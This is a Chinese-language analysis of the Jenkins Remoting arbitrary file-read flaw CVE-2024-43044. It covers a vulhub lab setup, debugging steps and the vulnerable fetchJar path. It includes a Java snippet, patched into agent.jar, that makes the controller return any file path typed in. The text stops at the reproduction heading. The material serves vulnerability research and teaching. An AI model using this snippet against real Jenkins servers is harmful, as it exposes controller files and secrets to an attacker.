Jenkins Remoting远程代码执行漏洞(CVE-2024-43044)

环境搭建:

使用vulhub/CVE-2024-23897的镜像

访问http://127.0.0.1:8080 使用admin/vulhub登录到后台

在Dashboard -> Manage Jenkins ->Nodes 处新建一个Agent节点

然后填写name并选择默认创建即可

在Dashboard -> Manage Jenkins -> Plugins 安装插件 Websocket Notifier

安装完成之后在节点机器node2上使用命令连接到Jenkins服务器

漏洞分析:

根据公告,可知主要是ClassLoaderProxy#fetchJar没有限制代理节点请求从Jenkins文件系统读取的路径。

https://www.jenkins.io/security/advisory/2024-08-07/

我们新建项目将agent.jar添加到依赖(调试命令如下:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar agent.jar -url http://Jenkinsip:8080/ -secret xxxxx -name node1 -workDir “”)hudson.remoting.RemoteClassLoader.ClassLoaderProxy#fetchJar

hudson.remoting.Util#readFully,可以看到没有验证传入的URL就直接返回读取到的资源

我们查看该类的构造方法hudson.remoting.RemoteClassLoader#RemoteClassLoader,可以看到会初始化一个channel对象,主要负责服务器和代理节点之间通信和数据传输等,并且将传入的proxy对象赋值给代理对象this.proxy

我们可以在RemoteClassLoader的构造方法后创建一个恶意的URL对象并调用this.proxy.fetchJar方法

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Scanner scanner = new Scanner(System.in);
System.out.print("输入读取文件path:");
String inputText = scanner.nextLine();
System.out.println("尝试读取:" + inputText);
URL jarFileUrl = new URL("file:///" + inputText);
byte[] fileContent = this.proxy.fetchJar(jarFileUrl);
String contentAsString = new String(fileContent, StandardCharsets.UTF_8);
System.out.println("文件内容:\n" + contentAsString);
} catch (Exception var10) {
Exception var9 = var10;
System.out.println("WRONG:" + var9);
}

重新编译打包继续调试

跟进hudson.remoting.RemoteInvocationHandler#invoke,调用了req.call方法

跟进到hudson.remoting.Request#call可以看到调用channel.send向Jenkins服务器发送恶意请求

最后的this.response.returnValue解码后就是获取到的资源内容

漏洞复现: